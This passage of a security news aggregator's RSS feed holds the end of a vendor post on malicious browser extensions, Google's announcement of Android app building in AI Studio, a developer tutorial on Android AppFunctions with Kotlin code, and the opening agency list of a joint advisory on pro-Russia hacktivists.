<p class="wp-block-paragraph">Signature-based scanning only stops known threats. Sophisticated repository attacks often arrive as functional, high-rated software that carries no known bad signature. Koi’s research into the <a href="https://www.koi.ai/blog/darkspectre-unmasking-the-threat-actor-behind-7-8-million-infected-browsers" target="_blank" rel="noreferrer noopener">DarkSpectre campaign</a> found eight browser extensions, all carrying “featured” badges from Google and Microsoft, installed by over 8 million users, silently harvesting every conversation from ChatGPT, Claude, and Gemini in the background. Koi addresses this by operating upstream: scanning marketplace listings every hour, using LLM-driven code analysis to compare what software promises against what its code does, sandboxing it, and scoring the risk before it ever reaches the endpoint.</p>



<p class="wp-block-paragraph"><strong>Summary</strong></p>



<p class="wp-block-paragraph">Securing the modern enterprise is no longer about patching individual gaps. As AI agents redefine the workforce, Agentic Endpoint Security (AES) is now a strategic imperative for every CISO. By establishing a mandatory control plane for the AI-native workspace, AES ensures that your organization can scale engineering velocity without ever compromising enterprise integrity. </p>



<p class="wp-block-paragraph">Ready to secure the future of your software stack? See how <a href="https://www.paloaltonetworks.com/cortex/agentic-endpoint-security" target="_blank" rel="noreferrer noopener">Koi Agentic Endpoint Security</a> delivers complete visibility, risk scoring, and real-time prevention across every endpoint in your enterprise.</p>



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<title><![CDATA[Build native Android apps in Google AI Studio]]></title>
<description><![CDATA[Posted by Emma-Louise Leavey, Group Product Manager and Mike Taylor-Cai, Product Manager

    Starting today Google AI Studio can build entire Android apps for you in minutes from just a prompt. You don't need to install any software or configure any libraries, which significantly lowers the barr...]]></description>
<link>https://tsecurity.de/de/3693512/android-tipps/build-native-android-apps-in-google-ai-studio/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3693512/android-tipps/build-native-android-apps-in-google-ai-studio/</guid>
<pubDate>Sat, 25 Jul 2026 10:15:46 +0200</pubDate>
<category>🤖 Android Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
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<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjd6QUmqCnkvDT9M0IoWA6y_752MRk01nHVQOa644yYkgoMGMDk8Dy6ow6X4SqFzzODP-a1kRaNcuF-1ZyR_lk5fTfdbuEMKDvuX4s7LFaGNuMswzvMCFoYeaQ3RLf2OZPYUWN5BsnqRIsmDub85hpYZNGY7AsaHCsHlfkxLqfqm0PozMhkyqK4i6WfgGM/s2048/GoogleForDevelopers-AndroidCombo2-StrapiMetacard-2048x1323.png">


<div><div class="separator"><i>Posted by Emma-Louise Leavey, Group Product Manager and Mike Taylor-Cai, Product Manager</i></div></div><div><div class="separator"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiVwPsGVUMbwR9wQP6ABNBXOWboTfwBPXTg-WwhpVo-nJsWJkXeFMUdU5lPsXYc6jh4bnFwI03EG8fIYgmwEkU8hUKHNgSfSYpDLzUgEX1kGLGoTXXfzqcIsh6ZVOHLcripkRitSymdVGwC0Hnwm1H6S-LdsKXLdkefuPp5mtBWC5H1ACTICDI_fNqsdoc/s4209/GoogleForDevelopers-AndroidCombo2-Blogger-4209x1253.png"><img border="0" data-original-height="1253" data-original-width="4209" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiVwPsGVUMbwR9wQP6ABNBXOWboTfwBPXTg-WwhpVo-nJsWJkXeFMUdU5lPsXYc6jh4bnFwI03EG8fIYgmwEkU8hUKHNgSfSYpDLzUgEX1kGLGoTXXfzqcIsh6ZVOHLcripkRitSymdVGwC0Hnwm1H6S-LdsKXLdkefuPp5mtBWC5H1ACTICDI_fNqsdoc/s16000/GoogleForDevelopers-AndroidCombo2-Blogger-4209x1253.png"></a></div><br><div><br></div>

    Starting today <a href="https://ai.dev/apps?features=build_android_app">Google AI Studio</a> can build entire Android apps for you in minutes from just a prompt. You don't need to install any software or configure any libraries, which significantly lowers the barrier to development. Whether you’re a seasoned developer looking to prototype at lightning speed or a creator building your first-ever mobile experience, you can now go from a single prompt to a high-quality, Kotlin-based Android app in AI Studio. You can easily install the app on your device, share it with others for testing, or send it to Android Studio for any further development.</div><div><h2>The power of native Android</h2>While AI has made it easy to generate web-based apps, people want more on their mobile devices. They expect the beautiful and usable modern app design and capabilities that come with native Android user experiences, built with the Kotlin programming language using Jetpack Compose, the official and recommended toolkit for Android development. Native Android apps bring the reliability of offline support, continuous background services, and the deep integration of hardware sensors like GPS, Bluetooth, and NFC. We've brought the technology that enables you to <a href="https://developer.android.com/studio/gemini/create-a-new-project-with-ai">quickly create new projects with Gemini in Android Studio</a> directly into the web-based AI Studio. Now, you get the best of both worlds: the ease of a prompt-based interface paired with the power of the Android SDK, all in your browser, no installation required.<br><h2><span>A seamless, end-to-end workflow</span></h2>
    We have streamlined the entire development lifecycle so you can focus on your idea: </div><div><b><br></b></div><div><b>1. Create your app and iterate in the cloud:</b> Use the embedded Android Emulator directly in your browser to preview and interact with your app as it’s being built. No heavy SDKs to download, no local setup required.</div><div><br><div class="separator"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiWOTqLBbAXBibOw5wN_-49Q21RuGxwPjhQESK5r3KctKIPz1uV4dg0_LiK0w6xxdvbLECzMHzQk-kQO9h1VdflTPKi3wM9sKrwZvLcPbtISBnL2H4acnG8gpEuPtbxpDHexKi4S8Eg_hcQv1_dZOCh78pFGi27aiWHMYZc1gsDA_Iq7SRbVRUkHhngrgw/w640-h544/AI_Studio_creation_step_v2.gif"></div><i><div><i>Use the embedded Android Emulator to create and edit Android Apps right in the web browser</i></div></i><div><br></div><b>2.</b> <b>Install instantly: </b>Connect your Android phone using a USB cable and install your app directly from AI Studio using the integrated Android Debug Bridge (adb).</div><div><br><div class="separator"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjHMqfor305bPNhs_X2ahAxG8QmtpxtLKPrq44Uh4q1OpdsZyDlAuIyKJJDk-2v75-ErSLNp8yCyHQZn-6IQ-mkz8mfedEFtEJuD6VILIhtt8ypGpXmRuqM9LoJDDNnn-xrX3_Cr2MRUUcaEhVpJgCsjrjz-kwHHQeIhq8celQjg5Rt5_S5-j-_eSYpYaU/w640-h544/AI_Studio_Install_v2.gif"></div><div><i>Install the app on your Android device</i></div><div><br></div><b>3. Streamlined Publish to Google Play: </b>Using your <a href="https://play.google.com/console/signup">Google Play developer account</a>, you can now publish your app directly from AI Studio for testing. AI Studio will automatically create your app record, package the bundle, and upload it to an internal testing track in Google Play Developer Console. Your app is available for you to install within minutes, and you can automatically update your app on your device as you develop it further in AI Studio. </div><div><br><div class="separator"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhqGamXSrq6MNtz-PUt17netBXi_JiOMVERsoYV2mEArG8x5f-zCbU8WwTTaClpruCTsN4o3xeyMylDJLaWe0yCteqZJghc6sEXLYwoLPbTtnoa7761JVR_XEbm2Fj20IX142L2mGzU39vuNwLVVw0bDiSwICFelQZhxO63sG9N3GCo8Xx8wHY6gPEDj8c/w640-h544/AI_Studio_Play_v3.gif"></div><div class="separator"><i>Publish the app to an internal test track in Google Play</i></div>

    <br><div><b>Seamless app development handoff </b></div><div>As you iterate on your app in AI Studio, you may find you need more advanced Android tools or support for a wider variety of Android device types. To move beyond the browser, you can seamlessly hand off your project to <a href="https://developer.android.com/studio">Android Studio</a> by downloading a ZIP file or exporting it directly to GitHub.</div><div><br></div><div class="separator"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjNTwSv8o6QwB9QYZS_OezD7WhWQZiShTEu5aJz6_oGUfOu-2RQWmANs0jgeC1G1jrsZauVbeWzLHkjoZa_Ai_cjKvgbB_-Qzqh8-obzcNf9zKTJSG4AfvXTogb0xsCxcHRS4P-LHFKk1pm8sTdDjIn8A5b9vX8GRRvHrCvN9_xoPm6hPzN1rct5Aph3Zc/w640-h206/AI_Studio_Download.png"></div><div><span><i>Download zip file of Android app project files</i></span></div><div><span><i><br></i></span></div>When transitioning to a team environment or local development, you can leverage any IDE or agent you prefer. For a specialized experience, we recommend <a href="https://developer.android.com/gemini-in-android">Gemini in Android Studio</a>, which features models designed with Android in mind, or Antigravity, which integrates <a href="https://developer.android.com/tools/agents/android-cli">Android CLI</a> commands into Google’s agentic development platform. This workflow makes building high-quality apps more accessible while giving you total flexibility in how you use AI to scale your project.</div><div><h2>Start building today</h2><div>To ensure a safe, high-quality ecosystem from day one, we have focused our initial release on specific capabilities including:</div><div><ul><li><b>Personal utilities and simple social apps: </b>You can rapidly prototype single or multi-screen apps, such as habit trackers, study quizzes, or event itineraries.</li><li><b>Hardware-enabled experiences:</b> Because you are building native apps, you can leverage device features like the Camera, GPS/Location, Accelerometer and Bluetooth using the native Android APIs, letting you optimize hardware-level performance.</li><li><b>AI-powered experiences: </b>You can create apps that feature Gemini API integrations, seamlessly embedding powerful AI capabilities directly into your mobile experience.</li></ul></div><h2><span>What’s Next?</span></h2>
    <div>We are moving fast to expand what’s possible for creators in AI Studio. Here is a sneak peek at what is coming soon:</div><div><ul><li><b>Managing Google Play Test Tracks: </b>Coming soon, we will be adding the ability to invite testers to try your app directly from AI Studio. </li><li><b>Firebase integrations: </b>Out-of-the-box support for Firestore, Firebase Auth, Firebase App Check and other tooling critical for Android developers is coming soon.</li></ul></div><div><br></div><div>Head over to <a href="https://ai.dev/apps?features=build_android_app">Google AI Studio</a> right now to start building. Here is some inspiration to get you started… </div><div><br></div><table border="1">
        <tbody><tr>
            <td colspan="2">Turn your Google Pixel Watch into an aviation assistant</td>
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                <strong>Prompt:</strong><br>
                <div>Build a small airplane "6-pack" instrument app for Google Pixel Watch. The 6 instruments should include attitude indicator, airspeed indicator, altimeter, turn coordinator, vertical speed indicator, and heading indicator. Use the Google Pixel Watch's sensors to power the instruments and display them clearly. Display one instrument at a time on the display. Swiping to the left or right should cycle through the instruments.</div>
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            <td colspan="2">Interactive Harmonium app on Google Pixel Fold</td>
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                <strong>Prompt:</strong><br>
                <div>Build a Harmonium app for Pixel Fold devices, which plays like the instrument based on the hinge angle and touch gestures. The app should simulate the bellows and reeds accurately.</div>
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            <td colspan="2">An Android app for guitarists to become better musicians by jamming to backing tracks </td>
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            <td>
                <strong>Prompt:</strong><br>
                <div><div><span>Build an Android guitar practice companion app that features a two-tab navigation system: 'Fretboard' and 'Library'.</span></div><div><span><br></span></div><div><span>The 'Fretboard' primary screen must contain an interactive guitar neck UI that visually maps out user-selected root notes, musical scales, and chords. Above the fretboard, implement a WebView-based YouTube player configured to play embedded videos inline. Additionally, include an AI generation feature that uses Retrofit to call Gemini Lyria 3 to create custom, 30-second backing tracks based on the user's currently selected key and scale. The generated audio files and their metadata must be saved locally using a database and displayed as a list in the 'Library' tab, where users can delete or play them.</span></div><div><span><br></span></div><div><span>Finally, implement a persistent, globally visible mini audio player at the bottom of the screen, complete with play/pause toggles, a progress slider for seeking, and timestamp text, allowing the user to seamlessly practice on the fretboard tab while listening to their tracks.</span></div><div><br></div></div>
            </td>
            <td><br><div class="separator"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh2pWobL4G7-4deWwvMpRmtfHG1OuXyc_bHwq6fPszYT1Vztm4g_HaN28PVg6Hwd3_N2Qd82HS1QtpUGKCTUFiCuLBwMpcA-8sMC6dJtSDGKEVAaV1kxumYMZi3kTB9NnUIEf9xQPKyyfvKb8MZUyNGnYNAEHTxyHpWCEvN2xgQsj5X09LW_FHU1n0aJQg/w221-h400/guitar_app_AI_Studio.gif"></div></td>
        </tr>
    </tbody></table>

    We are looking forward to seeing what you build next!</div><div><br></div><div>Explore this announcement and all Google I/O 2026 updates on <a href="https://io.google/2026/?utm_source=blogpost&amp;utm_medium=pr&amp;utm_campaign=devblogs&amp;utm_content=">io.google</a>.</div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Build intelligent Android apps: Integrate into Android's intelligence system using AppFunctions]]></title>
<description><![CDATA[Posted by Ben Weiss, Senior Developer Relations Engineer, Android Developer RelationsWelcome back to the blog post series "Build intelligent Android apps" where we take a basic Android app and transform it into a personalized, intelligent, and agentic experience. In our previous post, we explored...]]></description>
<link>https://tsecurity.de/de/3693499/android-tipps/build-intelligent-android-apps-integrate-into-androids-intelligence-system-using-appfunctions/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3693499/android-tipps/build-intelligent-android-apps-integrate-into-androids-intelligence-system-using-appfunctions/</guid>
<pubDate>Sat, 25 Jul 2026 10:15:27 +0200</pubDate>
<category>🤖 Android Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi961epgT3N_Za_k2-pCJ30tegn7DM-Umh1LWh7Q4NxhryR5H57JB00zKQcek56ccAvEM95i6wyXWWCZZ7486_Gq1ewxPHtsMY13UVsVTmndAvkOJtHPjUXuZ3XW_yBEFtlOr2ocBFIKr0PCRZhIRs67h6bX6zDKihwcxQs8bGbYTqIp5azuBKcX4PNMMY/s2469/AFD%20-%20%5BABL_104%5D%20JetPacker%20AppFunctions_Meta.png"><p></p><p><i>Posted by Ben Weiss, Senior Developer Relations Engineer, Android Developer Relations</i></p><div class="separator"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi92OFxAOxVMpResmBcBoUfxzgcMmVOMn3mXQabB9O-xkC7pjYxrvXS7YLTEWLIBstwuDLc0ePCC-Tf7AKq62mgAXjSYg9-VUIjKvokK6BhGHqPDSXCTQowbpj40plsP3V3Ju3ck4gzNdJmGQ6C1-twuob2UnPu7oY9B_oSwnYSkaif7lSEMwFnStzWknM/s8583/AFD%20-%20%5BABL_104%5D%20JetPacker%20AppFunctions_Blog.png"><img border="0" data-original-height="2601" data-original-width="8583" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi92OFxAOxVMpResmBcBoUfxzgcMmVOMn3mXQabB9O-xkC7pjYxrvXS7YLTEWLIBstwuDLc0ePCC-Tf7AKq62mgAXjSYg9-VUIjKvokK6BhGHqPDSXCTQowbpj40plsP3V3Ju3ck4gzNdJmGQ6C1-twuob2UnPu7oY9B_oSwnYSkaif7lSEMwFnStzWknM/s1600/AFD%20-%20%5BABL_104%5D%20JetPacker%20AppFunctions_Blog.png"></a></div><br><p><br></p><p>Welcome back to the blog post series "<a href="http://android-developers.googleblog.com/2026/07/build-intelligent-android-apps-introduction-jetpack.html" target="_blank">Build intelligent Android apps</a>" where we take a basic Android app and transform it into a personalized, intelligent, and agentic experience. In our <a href="http://android-developers.googleblog.com/2026/07/build-intelligent-android-apps-cloud-hybrid-inference.html">previous post</a>, we explored how to leverage Firebase AI Logic to build cloud-hosted and hybrid AI features.</p>Traditional mobile UIs excel at focused, hands-on tasks, and the Android intelligence system is introducing complementary features to make complex, multi-step actions even easier. By supplementing traditional user interfaces, AppFunctions provide a powerful new entry point: A privileged agent on the device can access app features in the background. This can be particularly helpful when users are driving, walking or otherwise multitasking. 

<p>In this article, we'll show you how we designed and integrated these capabilities into our travel planning app, <a href="https://github.com/android/ai-samples/tree/main/jetpacker">JetPacker</a>, using Android AppFunctions. We'll explore the rationale behind our feature choices, discuss the specialized tooling we used to accelerate development, and dive into the code that makes it all work.</p>

<h2>Designing AI-ready features: making choices that matter for your users</h2>

<p>To select which features to provide to the intelligence system, we looked for tasks where a voice or text command is objectively faster than tapping through screens. In this side-by-side screen recording you can see this contrast perfectly: on the left, a user tapping through multiple screens to log an expense; on the right, the same task completed instantly in the background via a privileged agent.</p>

<div class="vertical-video-grid">
  <div class="separator"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiIr2ssY2GiOlBmFzcP-91j91VjH9QX_sOP8FcmtirYPyXZmYRzNJmfqI_GT6aXYXye8-ntylv-gTNu1Qlnbx5gHiFn9naHqt7tJOQBA3HpQ5uz8XRdavXh7b3IP3FzJb4SsbC4mClGLUHupDwIeE9Du3PNRQr0SGs2lgHZTdHXnv8TagNBRtoJsbpeE6c/s960/Comp%201.gif"><img border="0" data-original-height="540" data-original-width="960" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiIr2ssY2GiOlBmFzcP-91j91VjH9QX_sOP8FcmtirYPyXZmYRzNJmfqI_GT6aXYXye8-ntylv-gTNu1Qlnbx5gHiFn9naHqt7tJOQBA3HpQ5uz8XRdavXh7b3IP3FzJb4SsbC4mClGLUHupDwIeE9Du3PNRQr0SGs2lgHZTdHXnv8TagNBRtoJsbpeE6c/s1600/Comp%201.gif"></a></div><br><div class="vertical-video-wrapper"><br></div>

<p>Our first choice was expense tracking. Logging a coffee expense during a trip usually takes quite a few taps—unlocking the phone, opening the app, finding the active trip, navigating to the expenses tab, tapping the add button, taking a picture of the receipt, and checking the result. By providing the <code>addExpense</code> and <code>getExpenses</code> features as AppFunctions, the system agent handles the heavy lifting. When the user says, "Add a five-dollar coffee expense to my Paris trip," the agent automatically searches for the correct trip ID in the background and inserts the expense, skipping the manual UI flow entirely.</p>

<p>We also prioritized itinerary management. Finding what activity is next on a busy trip itinerary usually requires scrolling through a dense timeline view. By providing <code>getItinerary</code> and <code>addItineraryEvent</code> to the system, the user can simply ask, "What am I doing next in Paris?" and get an immediate answer.</p><div class="separator"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiRduisOXPFs0o2m-JwtESU1fUEanqH-A0eGt58MUuXs-vgN1af77M-j3ETdegzulBq-3TClrDvhO2K_8q4ep8xAlnW1y5T09ZxxHyZmTRtftA9DOmIk7ykfM_JihQ2c2fcUbEA-jCO1sgW2JnxN9qtB8IS58lbQoaIk4cPJPuPQavZNUoW2rNKo9r8g9M/s960/Comp%202.gif"><img border="0" data-original-height="540" data-original-width="960" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiRduisOXPFs0o2m-JwtESU1fUEanqH-A0eGt58MUuXs-vgN1af77M-j3ETdegzulBq-3TClrDvhO2K_8q4ep8xAlnW1y5T09ZxxHyZmTRtftA9DOmIk7ykfM_JihQ2c2fcUbEA-jCO1sgW2JnxN9qtB8IS58lbQoaIk4cPJPuPQavZNUoW2rNKo9r8g9M/s1600/Comp%202.gif"></a></div><br><p><br></p>
  

<p>Finally, we focused on hands-free note capturing. Typing out reminders or notes while walking down a busy street is difficult and unsafe. Exposing a voice note capability allows the user to say, "The flight was amazing, I saw a beautiful sunset and managed to sleep well," and the privileged agent automatically transcribes and saves it directly into the travel database <span face="Roboto, sans-serif"> using the </span><span>addVoiceNote</span><span face="Roboto, sans-serif"> AppFunction.</span></p>

<h2>Android MCP powered by AppFunctions</h2>This entire experience is built on Android MCP. Under this design, the app acts as a local MCP server. Rather than remote APIs, you provide your app features directly to the on-device intelligence system.<br><br><a href="https://d.android.com/ai/appfunctions">Android AppFunctions</a> is the API that brings this concept to life. It reads annotated Kotlin functions and compiles them into type-safe, sandboxed tool definitions that the privileged agent can discover and invoke locally on the device.<div class="separator"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjypEvh8lAK1myAWpnG4A0TtdIaTxP69t7g9croAJSUZ2Od6AEkhwMusN3CvdGohdvYzoh1UaCxCHb22oJzCD_4B2K8vfQzcyAIaTl8lk3TCR9T0SoMHjjaDk4GMxxPazeCfT0aF7rifm7-LAvcMhyphenhyphenryDJpOPYon7jiISKB2sMLzAwHDuKFxIv16sDXjrM/s2500/Android%20MCP%20diagram.png"><img border="0" data-original-height="1406" data-original-width="2500" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjypEvh8lAK1myAWpnG4A0TtdIaTxP69t7g9croAJSUZ2Od6AEkhwMusN3CvdGohdvYzoh1UaCxCHb22oJzCD_4B2K8vfQzcyAIaTl8lk3TCR9T0SoMHjjaDk4GMxxPazeCfT0aF7rifm7-LAvcMhyphenhyphenryDJpOPYon7jiISKB2sMLzAwHDuKFxIv16sDXjrM/s1600/Android%20MCP%20diagram.png"></a></div><br><p><br></p>

<p><br></p><p><br></p><p><br></p><p><br></p><p><br></p><i><div><i>Diagram highlighting our apps, the android platform, and system agents coordinate AppFunctions.</i></div></i><p>Under the Android MCP model, your app acts as a local MCP server that exposes structured tools, while the Android platform serves as the central tool registry. On the MCP client side, agent apps are registered with the intelligence system after being granted system-privileged permissions to access the registry.</p>

<p>When a user interacts with a registered agent, its LLM determines if the request can be handled by an AppFunction, queries the platform's metadata, and executes the appropriate registered functions in the background. This local MCP client-server design gives you full control: you choose exactly which features are accessible to the agent, keeping the rest of your app's data private.</p>

<h2>How we accelerated development with Android skills</h2>

To streamline the integration process, we leveraged the <a href="https://github.com/android/skills/tree/main/device-ai/appfunctions">AppFunctions development skill</a>. The AppFunctions development skill is a complete development companion. It guided us through the entire lifecycle: mapping Kotlin data classes to serialize parameters, generating the necessary <code>Service</code> entry points, refining our <code>KDoc</code> documentation to ensure the LLM understands parameter boundaries, and setting up automated testing using ADB.

<h2>Providing app features to the intelligence system</h2>

<p>Enough with the theory, let's dive into the implementation.</p>

<h4>Configuration and dependency setup</h4>

<p>We begin by adding the AppFunctions dependencies. One for the API and one for the Kotlin Symbol Processing compiler.</p>

<pre><code>implementation("androidx.appfunctions:appfunctions:1.0.0-alpha10")
ksp("androidx.appfunctions:appfunctions-compiler:1.0.0-alpha10")</code></pre>

<h4>Modeling custom data types</h4>

<p>Any custom object exchanged with the agent must be annotated with <code>@AppFunctionSerializable</code>. In our <a href="https://github.com/android/ai-samples/tree/main/jetpacker/android/feature/appfunctions/src/main/java/com/example/jetpacker/feature/appfunctions/TripSerializable.kt">TripSerializable.kt</a> file, we define our trip data model:</p>

<pre><code>@AppFunctionSerializable(isDescribedByKDoc = true)
data class TripSerializable(
    /** The trip's unique identifier. */
    val id: String,
    /** The trip's title. */
    val title: String,
    /** The trip's destination location. */
    val location: String,
    /** The trip's start date in milliseconds. */
    val startDate: Long,
    /** The trip's end date in milliseconds. */
    val endDate: Long,
    /** A list of participants. */
    val participants: List&lt;String&gt;,
)</code></pre>

<h4>Providing features using the @AppFunction annotation</h4>

<p>Next, the skill wrote the Kotlin functions that perform the database queries and annotate them with <code>@AppFunction</code>. We can view this in searchTrip:</p>

<pre><code>/**
 * Looks for trips based on optional filters like id, title (name), location, and dates.
 *
 * @param id The unique identifier of the trip.
 * @param title The title or name of the trip.
 * @param location The destination location.
 * @param startDate The minimum start date in milliseconds.
 * @param endDate The maximum end date in milliseconds.
 * @return A list of trips matching the filters.
 */
@AppFunction(isDescribedByKDoc = true)
suspend fun searchTrip(
    id: String? = null,
    title: String? = null,
    location: String? = null,
    startDate: Long? = null,
    endDate: Long? = null
): List&lt;TripSerializable&gt; {
    return withContext(Dispatchers.IO) {
    // implementation
}</code></pre>

<p>Since AppFunctions run on the UI thread by default, we use <code>withContext(Dispatchers.IO)</code> to switch to a background dispatcher. Additionally, we refine our KDoc to use clear, imperative verbs and specify parameter constraints. This documentation compiles directly into the tool's schema, which the privileged agent uses to resolve parameters and handle runtime errors.</p>

<h4>The service entry point and Hilt integration</h4>

<p>To register these features with the intelligence system, we create an abstract base class that extends <code>AppFunctionService</code>. We annotate it with <code>@AppFunctionServiceEntryPoint</code>:</p>

<pre><code>@RequiresApi(36)
@AndroidEntryPoint
@AppFunctionServiceEntryPoint(
    serviceName = "JetPackerAppFunctionService",
    appFunctionXmlFileName = "jetpacker_app_function_service"
)
abstract class BaseJetPackerAppFunctionService : AppFunctionService() {
    @Inject internal lateinit var tripDao: TripDao
    // DAOs and database references are injected here...
}</code></pre>

<p>During compilation, KSP generates the final concrete service subclass, <code>JetPackerAppFunctionService</code>, as declared with the <code>serviceName</code> parameter. We also register <code>app_metadata.xml</code> in the app's manifest. This file provides global operational rules for JetPacker's declared AppFunctions.</p>

<h2>Testing and verifying your AppFunctions</h2>

<p>Once implemented, you should verify that your AppFunctions are registered and working correctly.</p>

<p>Running devices or emulators with Android 17 or newer, you can use ADB commands from your terminal to list and invoke your functions. Running <code>adb shell cmd app_function list-app-functions</code> displays all registered functions for your package. You can then execute a specific function and test its database integration by running <code>adb shell cmd app_function execute-app-function</code> while passing a raw JSON parameters string.</p>

<p>Instead of these ADB commands, you can also use the <a href="https://github.com/android/appfunctions">AppFunctions Testing Agent</a> to inspect your configuration, list and execute AppFunctions, and even see how your AppFunctions behave in a real conversational flow.</p>

<h2>Wrapping it up</h2>

<p>When thinking about app features that can be contributed to the intelligence system using AppFunctions requires a slight shift in how we think about code and documentation. AppFunctions enable you to use this new interaction model for apps, which allows using an agent to access app features..</p>

<p>First, the <a href="https://github.com/android/skills/tree/main/device-ai/appfunctions">AppFunctions development skill</a> is an essential lifecycle tool, helping you discover features, implement and refine AppFunctions for your apps. Second, KDoc comments are a compiled API asset; clear parameter descriptions directly impact the execution accuracy of the system agent. Finally, Android MCP provides local-first execution allowing apps to safely collaborate with AI agents.</p>

<p>Contributing app features through AppFunctions makes your application ready for the intelligence system. Let us know how you are adapting your apps for the agentic era!</p>

<h2>Learn more</h2>

<p>Check out the other parts of this blog post series:<br><b><a href="http://android-developers.googleblog.com/2026/07/build-intelligent-android-apps-introduction-jetpack.html">Part 1:</a></b> Introduction of the app and a high-level overview.<br><a href="http://android-developers.googleblog.com/2026/07/android-on-device-inference.html"><b>Part 2:</b></a> On-device intelligence. Deep-dive into ML Kit’s GenAI APIs and Gemini Nano to build privacy-first features like itinerary summarization, receipt parsing, and local audio processing.<br><b><a href="http://android-developers.googleblog.com/2026/07/build-intelligent-android-apps-cloud-hybrid-inference.html">Part 3:</a></b> Hybrid and cloud reasoning. Explore how to use Firebase AI Logic to ground LLM answers in real-world data like Google Maps and web context.<br><a href="http://android-developers.googleblog.com/2026/07/build-intelligent-android-apps-appfunctions.html"><b>Part 4 (this post!):</b></a> System integration. Integrating with the Android intelligence system using AppFunctions. <br>Part 5 (coming soon): In-app agentic workflows. Extend the app with an end-to-end booking assistant powered by A2UI and ADK.</p>

<p>Interested in more on Android Development? Follow Android Developers on <a href="https://www.youtube.com/@AndroidDevelopers">YouTube</a> or <a href="https://www.linkedin.com/showcase/androiddev/">LinkedIn</a>!</p>

<p>
  All code snippets in this blog post follow the following copyright notice:
</p>
<pre><code>Copyright 2026 Google LLC.
SPDX-License-Identifier: Apache-2.0</code></pre></div>]]></content:encoded>
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<item>
<title><![CDATA[Pro-Russia Hacktivists Conduct Opportunistic Attacks Against US and Global Critical Infrastructure]]></title>
<description><![CDATA[Summary
Note: This joint Cybersecurity Advisory is being published as an addition to the Cybersecurity and Infrastructure Security Agency (CISA) May 6, 2025, joint fact sheet Primary Mitigations to Reduce Cyber Threats to Operational Technology and European Cybercrime Centre’s (EC3) Operation Eas...]]></description>
<link>https://tsecurity.de/de/3693383/sicherheitsluecken/pro-russia-hacktivists-conduct-opportunistic-attacks-against-us-and-global-critical-infrastructure/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3693383/sicherheitsluecken/pro-russia-hacktivists-conduct-opportunistic-attacks-against-us-and-global-critical-infrastructure/</guid>
<pubDate>Sat, 25 Jul 2026 09:15:46 +0200</pubDate>
<category>🕵️ Sicherheitslücken</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<h2><strong>Summary</strong></h2>
<p><strong>Note:</strong> This joint Cybersecurity Advisory is being published as an addition to the Cybersecurity and Infrastructure Security Agency (CISA) May 6, 2025, joint fact sheet <a href="https://www.cisa.gov/resources-tools/resources/primary-mitigations-reduce-cyber-threats-operational-technology" title="Primary Mitigations to Reduce Cyber Threats to Operational Technology">Primary Mitigations to Reduce Cyber Threats to Operational Technology</a> and European Cybercrime Centre’s (EC3) <a href="https://www.europol.europa.eu/media-press/newsroom/news/global-operation-targets-noname05716-pro-russian-cybercrime-network" target="_blank" title="Operation Eastwood" data-entity-type="external">Operation Eastwood</a>, in which CISA, Federal Bureau of Investigation (FBI), Department of Energy (DOE), Environmental Protection Agency (EPA), and EC3 shared information about cyber incidents affecting the operational technology (OT) and industrial control systems (ICS) of critical infrastructure entities in the United States and globally.</p>
<p>FBI, CISA, National Security Agency (NSA), and the following partners—hereafter referred to as “the authoring organizations”—are releasing this joint advisory on the targeting of critical infrastructure by pro-Russia hacktivists:</p>
<ul>
<li>U.S. Department of Energy (DOE)</li>
<li>U.S. Environmental Protection Agency (EPA)</li>
<li>U.S. Department of Defense Cyber Crime Center (DC3)</li>
<li>Europol European Cybercrime Centre (EC3)</li>
<li>EUROJUST – European Union Agency for Criminal Justice Cooperation</li>
<li>Australian Signals Directorate’s Australian Cyber Security Centre (ASD’s ACSC)</li>
<li>Canadian Centre for Cyber Security (Cyber Centre)</li>
<li>Canadian Security Intelligence Service (CSIS)</li>
<li>Czech Republic Military Intelligence (VZ)</li>
<li>Czech Republic National Cyber and Information Security Agency (NÚKIB)</li>
<li>Czech Republic National Centre Against Terrorism, Extremism, and Cyber Crime (NCTEKK)</li>
<li>French National Cybercrime Unit – Gendarmerie Nationale (UNC)</li>
<li>French National Jurisdiction for the Fight Against Organized Crime (JUNALCO)</li>
<li>German Federal Office for Information Security (BSI)</li>
<li>Italian State Police (PS)</li>
<li>Latvian State Police (VP)</li>
<li>Lithuanian Criminal Police Bureau (LKPB)</li>
<li>New Zealand National Cyber Security Centre (NCSC-NZ)</li>
<li>Romanian National Police (PR)</li>
<li>Spanish Civil Guard (GC)</li>
<li>Spanish National Police (CNP)</li>
<li>Swedish Polisen (SC3)</li>
<li>United Kingdom National Cyber Security Centre (NCSC-UK)</li>
</ul>
